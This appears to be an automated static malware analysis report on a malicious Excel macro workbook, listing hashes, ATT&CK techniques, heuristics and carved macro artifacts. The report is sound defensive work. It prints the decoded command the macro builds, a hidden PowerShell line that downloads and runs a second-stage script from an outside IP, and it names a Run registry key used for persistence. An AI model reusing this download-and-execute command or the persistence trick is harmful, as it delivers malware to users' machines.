Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 2d495d3aa455af8a…

MALICIOUS

Office (OOXML) / .XLSM

439.7 KB Created: 2021-07-28 10:37:27 UTC Authoring application: Microsoft Excel 12.0000
MD5: 00fd628ae5343ac65b240500485f8da9 SHA-1: 1bb10dd76b4b0f294f01e5f5b02327739b5aedb5 SHA-256: 2d495d3aa455af8afcd85b4b040752e2beea98176188b89dd6a967bbbaa8a5c6
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The OOXML file contains a Workbook_Open macro that is triggered when the document is opened. This macro uses CreateObject to execute a command. The command is constructed by concatenating environment variables and cell values, which resolves to 'powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://185.173.172.194/a.ps1\')"'. This indicates the macro's intent is to download and execute a second-stage PowerShell payload from the specified URL. The macro also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 5

  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
43a07f9d2abac943dba8cc0ab881ae098557512ba7083f6f705588572722971d
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1111 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
vbaProject_00.bin
ba9f3fe5dc86c370f22a071f2b78188e10b1529ad4df73903adc648eb52031bc
vba-project OOXML VBA project: xl/vbaProject.bin 9216 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.